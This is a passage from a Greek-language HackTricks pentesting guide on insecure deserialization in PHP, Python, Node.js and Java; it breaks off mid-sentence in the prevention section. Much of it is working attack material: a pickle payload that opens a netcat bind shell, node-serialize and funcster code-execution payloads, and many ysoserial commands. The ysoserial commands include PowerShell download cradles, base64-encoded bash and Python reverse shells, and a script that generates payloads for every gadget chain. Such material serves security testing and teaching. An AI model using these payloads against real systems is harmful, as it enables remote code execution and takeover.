Deserialization

Support HackTricks

Basic Information

Serialization κατανοείται ως η μέθοδος μετατροπής ενός αντικειμένου σε μια μορφή που μπορεί να διατηρηθεί, με σκοπό είτε την αποθήκευση του αντικειμένου είτε τη μετάδοσή του ως μέρος μιας διαδικασίας επικοινωνίας. Αυτή η τεχνική χρησιμοποιείται συνήθως για να διασφαλιστεί ότι το αντικείμενο μπορεί να αναδημιουργηθεί αργότερα, διατηρώντας τη δομή και την κατάσταση του.

Deserialization, αντίθετα, είναι η διαδικασία που αντενδρά στη serialization. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο.

Η deserialization μπορεί να είναι επικίνδυνη επειδή επιτρέπει στους επιτιθέμενους να χειρίζονται τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου.

PHP

Στην PHP, συγκεκριμένες μαγικές μέθοδοι χρησιμοποιούνται κατά τη διάρκεια των διαδικασιών serialization και deserialization:

  • __sleep: Καλείται όταν ένα αντικείμενο είναι σε διαδικασία serialization. Αυτή η μέθοδος θα πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που θα πρέπει να serialized. Χρησιμοποιείται συνήθως για να δεσμεύσει εκκρεμή δεδομένα ή να εκτελέσει παρόμοιες εργασίες καθαρισμού.

  • __wakeup: Καλείται όταν ένα αντικείμενο είναι σε διαδικασία deserialization. Χρησιμοποιείται για να αποκαταστήσει οποιεσδήποτε συνδέσεις βάσης δεδομένων μπορεί να έχουν χαθεί κατά τη διάρκεια της serialization και να εκτελέσει άλλες εργασίες επαναρχικοποίησης.

  • __unserialize: Αυτή η μέθοδος καλείται αντί της __wakeup (αν υπάρχει) όταν ένα αντικείμενο είναι σε διαδικασία deserialization. Παρέχει περισσότερη έλεγχο στη διαδικασία deserialization σε σύγκριση με την __wakeup.

  • __destruct: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο πρόκειται να καταστραφεί ή όταν το σενάριο τελειώνει. Χρησιμοποιείται συνήθως για εργασίες καθαρισμού, όπως το κλείσιμο χειριστών αρχείων ή συνδέσεων βάσης δεδομένων.

  • __toString: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να αντιμετωπίζεται ως συμβολοσειρά. Μπορεί να χρησιμοποιηθεί για την ανάγνωση ενός αρχείου ή άλλων εργασιών με βάση τις κλήσεις συναρτήσεων μέσα σε αυτό, παρέχοντας αποτελεσματικά μια κειμενική αναπαράσταση του αντικειμένου.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Αν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις __wakeup και __destruct καλούνται όταν το αντικείμενο αποδομηθεί. Σημειώστε ότι σε πολλές οδηγίες θα βρείτε ότι η συνάρτηση __toString καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό δεν συμβαίνει πια.

Η μέθοδος __unserialize(array $data) καλείται αντί για __wakeup() αν έχει υλοποιηθεί στην κλάση. Σας επιτρέπει να αποδομήσετε το αντικείμενο παρέχοντας τα σειριασμένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποδομήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Μπορείτε να διαβάσετε ένα εξηγημένο παράδειγμα PHP εδώ: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, εδώ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ή εδώ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Μπορείτε να εκμεταλλευτείτε τη λειτουργία autoload του PHP για να φορτώσετε αυθαίρετα αρχεία php και περισσότερα:

PHP - Deserialization + Autoload Classes

Serializing Referenced Values

Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως αναφορά σε άλλη τιμή που έχει σειριοποιηθεί μπορείτε:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να εκμεταλλευτείτε τις PHP deserializations. Σημειώστε ότι σε πολλές περιπτώσεις δεν θα μπορείτε να βρείτε έναν τρόπο να εκμεταλλευτείτε μια deserialization στον πηγαίο κώδικα της εφαρμογής, αλλά μπορεί να μπορείτε να εκμεταλλευτείτε τον κώδικα εξωτερικών PHP επεκτάσεων. Έτσι, αν μπορείτε, ελέγξτε το phpinfo() του διακομιστή και αναζητήστε στο διαδίκτυο (ακόμα και στα gadgets του PHPGGC) κάποια πιθανά gadgets που θα μπορούσατε να εκμεταλλευτείτε.

phar:// metadata deserialization

Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize(). Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια deserialization που συμβαίνει όταν διαβάζετε ένα αρχείο χρησιμοποιώντας το phar πρωτόκολλο. Για περισσότερες πληροφορίες διαβάστε την παρακάτω ανάρτηση:

phar:// deserialization

Python

Pickle

Όταν το αντικείμενο αποσυμπιέζεται, η συνάρτηση __reduce__ θα εκτελεστεί. Όταν εκμεταλλευτεί, ο διακομιστής μπορεί να επιστρέψει ένα σφάλμα.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Πριν ελέγξετε την τεχνική παράκαμψης, δοκιμάστε να χρησιμοποιήσετε print(base64.b64encode(pickle.dumps(P(),2))) για να δημιουργήσετε ένα αντικείμενο που είναι συμβατό με python2 αν τρέχετε python3.

Για περισσότερες πληροφορίες σχετικά με την αποφυγή από pickle jails ελέγξτε:

Bypass Python sandboxes

Yaml & jsonpickle

Η παρακάτω σελίδα παρουσιάζει την τεχνική για κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για Pickle, PyYAML, jsonpickle και ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS δεν έχει "μαγικές" συναρτήσεις όπως PHP ή Python που θα εκτελούνται απλώς για τη δημιουργία ενός αντικειμένου. Αλλά έχει κάποιες συναρτήσεις που είναι συχνά χρησιμοποιούμενες ακόμα και χωρίς να τις καλείτε άμεσα όπως toString, valueOf, toJSON. Αν καταχραστείτε μια αποσυμπίεση μπορείτε να συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα (πιθανώς καταχρώντας τις μολύνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.

Ένας άλλος "μαγικός" τρόπος για να καλέσετε μια συνάρτηση χωρίς να την καλέσετε άμεσα είναι με το να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση (υπόσχεση). Διότι, αν μετατρέψετε αυτό το επιστρεφόμενο αντικείμενο σε άλλη υπόσχεση με μια ιδιότητα που ονομάζεται "then" τύπου συνάρτησης, θα εκτελείται απλώς επειδή επιστρέφεται από άλλη υπόσχεση. Ακολουθήστε αυτόν τον σύνδεσμο για περισσότερες πληροφορίες.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ και prototype ρύπανση

Αν θέλετε να μάθετε για αυτή την τεχνική ρίξτε μια ματιά στο παρακάτω σεμινάριο:

NodeJS - __proto__ & prototype Pollution

Αυτή η βιβλιοθήκη επιτρέπει την σειριοποίηση συναρτήσεων. Παράδειγμα:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Το σειριοποιημένο αντικείμενο θα φαίνεται όπως:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση είναι σειριοποιημένη, η σημαία _$$ND_FUNC$$_ προστίθεται στο σειριοποιημένο αντικείμενο.

Μέσα στο αρχείο node-serialize/lib/serialize.js μπορείτε να βρείτε την ίδια σημαία και πώς ο κώδικας τη χρησιμοποιεί.

Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, αν βρεθεί η σημαία χρησιμοποιείται το eval για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση eval.

Ωστόσο, απλά σειριοποιώντας μια συνάρτηση δεν θα την εκτελέσει καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να καλεί το y.rce στο παράδειγμά μας και αυτό είναι πολύ απίθανο. Ούτως ή άλλως, θα μπορούσατε απλά να τροποποιήσετε το σειριοποιημένο αντικείμενο προσθέτοντας μερικές παρενθέσεις ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται. Στο επόμενο κομμάτι κώδικα προσέξτε την τελευταία παρένθεση και πώς η συνάρτηση unserialize θα εκτελέσει αυτόματα τον κώδικα:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το _$$ND_FUNC$$_ και θα εκτελέσει αυτόν χρησιμοποιώντας eval. Επομένως, για να αυτοεκτελείται ο κώδικας μπορείτε να διαγράψετε το μέρος δημιουργίας της συνάρτησης και την τελευταία παρένθεση και να εκτελέσετε απλά μια JS oneliner όπως στο παρακάτω παράδειγμα:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Μπορείτε να βρείτε εδώ περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια.

Ένα αξιοσημείωτο χαρακτηριστικό του funcster είναι η απροσβλητότητα των τυπικών ενσωματωμένων αντικειμένων; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτή η περιοριστική πολιτική αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το "ReferenceError: console is not defined" όταν χρησιμοποιούνται εντολές όπως console.log() ή require(something).

Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Για περισσότερες πληροφορίες διαβάστε αυτή την πηγή.

Το πακέτο serialize-javascript έχει σχεδιαστεί αποκλειστικά για σκοπούς σειριοποίησης, χωρίς καμία ενσωματωμένη δυνατότητα αποσειριοποίησης. Οι χρήστες είναι υπεύθυνοι για την υλοποίηση της δικής τους μεθόδου αποσειριοποίησης. Μια άμεση χρήση του eval προτείνεται από το επίσημο παράδειγμα για την αποσειριοποίηση σειριοποιημένων δεδομένων:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να εκμεταλλευτείτε εύκολα:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Για περισσότερες πληροφορίες διαβάστε αυτή την πηγή.

Βιβλιοθήκη Cryo

Στις επόμενες σελίδες μπορείτε να βρείτε πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές:

Java - HTTP

Στην Java, οι callbacks απο deserialization εκτελούνται κατά τη διαδικασία της deserialization. Αυτή η εκτέλεση μπορεί να εκμεταλλευτεί από επιτιθέμενους που κατασκευάζουν κακόβουλα payloads που ενεργοποιούν αυτές τις callbacks, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών.

Δακτυλικά αποτυπώματα

Λευκό Κουτί

Για να εντοπίσετε πιθανές ευπάθειες serialization στον κώδικα, αναζητήστε:

  • Κλάσεις που υλοποιούν τη διεπαφή Serializable.

  • Χρήση των συναρτήσεων java.io.ObjectInputStream, readObject, readUnshare.

Δώστε ιδιαίτερη προσοχή σε:

  • XMLDecoder που χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες.

  • Η μέθοδος fromXML του XStream, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε ζητήματα serialization.

  • ObjectInputStream σε συνδυασμό με τη μέθοδο readObject.

  • Υλοποίηση μεθόδων όπως readObject, readObjectNodData, readResolve, ή readExternal.

  • ObjectInputStream.readUnshared.

  • Γενική χρήση του Serializable.

Μαύρο Κουτί

Για δοκιμές μαύρου κουτιού, αναζητήστε συγκεκριμένες υπογραφές ή "Magic Bytes" που δηλώνουν java serialized objects (προερχόμενα από ObjectInputStream):

  • Εξαδικό μοτίβο: AC ED 00 05.

  • Μοτίβο Base64: rO0.

  • HTTP response headers με Content-type ρυθμισμένο σε application/x-java-serialized-object.

  • Εξαδικό μοτίβο που υποδηλώνει προηγούμενη συμπίεση: 1F 8B 08 00.

  • Μοτίβο Base64 που υποδηλώνει προηγούμενη συμπίεση: H4sIA.

  • Ιστοσελίδες με την επέκταση .faces και την παράμετρο faces.ViewState. Η ανακάλυψη αυτών των μοτίβων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναφέρεται στην ανάρτηση σχετικά με την Deserialization του Java JSF ViewState.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Έλεγχος αν είναι ευάλωτο

Αν θέλετε να μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized θα πρέπει να ρίξετε μια ματιά σε Basic Java Deserialization, Java DNS Deserialization, και CommonsCollection1 Payload.

Δοκιμή White Box

Μπορείτε να ελέγξετε αν είναι εγκατεστημένη κάποια εφαρμογή με γνωστές ευπάθειες.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Μπορείτε να προσπαθήσετε να ελέγξετε όλες τις βιβλιοθήκες που είναι γνωστό ότι είναι ευάλωτες και ότι το Ysoserial μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που αναφέρονται στο Java-Deserialization-Cheat-Sheet. Μπορείτε επίσης να χρησιμοποιήσετε το gadgetinspector για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν. Όταν εκτελείτε το gadgetinspector (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από το gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Παρακαλώ, σημειώστε ότι το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα.

Black Box Test

Χρησιμοποιώντας την επέκταση Burp gadgetprobe μπορείτε να προσδιορίσετε ποια βιβλιοθήκες είναι διαθέσιμες (και ακόμη και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι ευκολότερο να επιλέξετε ένα payload για να εκμεταλλευτείτε την ευπάθεια. Διαβάστε αυτό για να μάθετε περισσότερα για το GadgetProbe. Το GadgetProbe επικεντρώνεται σε ObjectInputStream deserializations.

Χρησιμοποιώντας την επέκταση Burp Java Deserialization Scanner μπορείτε να εντοπίσετε ευάλωτες βιβλιοθήκες που μπορούν να εκμεταλλευτούν με το ysoserial και να τις εκμεταλλευτείτε. Διαβάστε αυτό για να μάθετε περισσότερα για το Java Deserialization Scanner. Ο Java Deserialization Scanner επικεντρώνεται σε ObjectInputStream deserializations.

Μπορείτε επίσης να χρησιμοποιήσετε το Freddy για να εντοπίσετε ευπάθειες deserialization στο Burp. Αυτό το plugin θα ανιχνεύσει όχι μόνο ευπάθειες σχετικές με το ObjectInputStream αλλά και ευπάθειες από βιβλιοθήκες deserialization Json και Yml. Σε ενεργό λειτουργία, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS. Μπορείτε να βρείτε περισσότερες πληροφορίες για το Freddy εδώ.

Serialization Test

Δεν είναι όλα σχετικά με το να ελέγξετε αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να αλλάξετε τα δεδομένα μέσα στο serialized object και να παρακάμψετε κάποιους ελέγχους (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια webapp). Αν βρείτε ένα java serialized object που αποστέλλεται σε μια web εφαρμογή, μπορείτε να χρησιμοποιήσετε SerializationDumper για να εκτυπώσετε με πιο ανθρώπινα αναγνώσιμη μορφή το serialization object που αποστέλλεται. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.

Exploit

ysoserial

Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι το ysoserial (κατεβάστε εδώ). Μπορείτε επίσης να εξετάσετε τη χρήση του ysoseral-modified που θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα). Σημειώστε ότι αυτό το εργαλείο είναι εστιασμένο στην εκμετάλλευση του ObjectInputStream. Θα ξεκινούσα χρησιμοποιώντας το payload "URLDNS" πριν από ένα RCE payload για να δοκιμάσω αν η ένεση είναι δυνατή. Ούτως ή άλλως, σημειώστε ότι ίσως το payload "URLDNS" να μην λειτουργεί αλλά κάποιο άλλο RCE payload να λειτουργεί.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Όταν δημιουργείτε ένα payload για java.lang.Runtime.exec() δεν μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες όπως ">" ή "|" για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, "$()" για να εκτελέσετε εντολές ή ακόμη και να περάσετε παραμέτρους σε μια εντολή χωρισμένες με κενά (μπορείτε να κάνετε echo -n "hello world" αλλά δεν μπορείτε να κάνετε python2 -c 'print "Hello world"'). Για να κωδικοποιήσετε σωστά το payload μπορείτε να χρησιμοποιήσετε αυτή τη σελίδα.

Μη διστάσετε να χρησιμοποιήσετε το επόμενο σενάριο για να δημιουργήσετε όλα τα πιθανά payloads εκτέλεσης κώδικα για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στη ευάλωτη ιστοσελίδα:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Μπορείτε να χρησιμοποιήσετε https://github.com/pwntester/SerialKillerBypassGadgetCollection μαζί με το ysoserial για να δημιουργήσετε περισσότερους εκμεταλλεύσεις. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις διαφάνειες της ομιλίας όπου παρουσιάστηκε το εργαλείο: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec μπορεί να χρησιμοποιηθεί για να δημιουργήσει payloads για να εκμεταλλευτεί διάφορες Json και Yml βιβλιοθήκες σειριοποίησης στην Java. Για να κάνω compile το έργο, χρειάστηκε να προσθέσω αυτές τις εξαρτήσεις στο pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Εγκαταστήστε το maven, και συγκεντρώστε το έργο:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Διαβάστε περισσότερα για αυτή τη βιβλιοθήκη Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Η Java χρησιμοποιεί πολύ serialization για διάφορους σκοπούς όπως:

  • HTTP requests: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ.

  • RMI (Remote Method Invocation): Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java.

  • RMI over HTTP: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.

  • JMX (Java Management Extensions): Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου.

  • Custom Protocols: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης.

Prevention

Transient objects

Μια κλάση που υλοποιεί το Serializable μπορεί να υλοποιήσει ως transient οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν θα πρέπει να είναι serializable. Για παράδειγμα:

public class myAccount implements Serializable
{
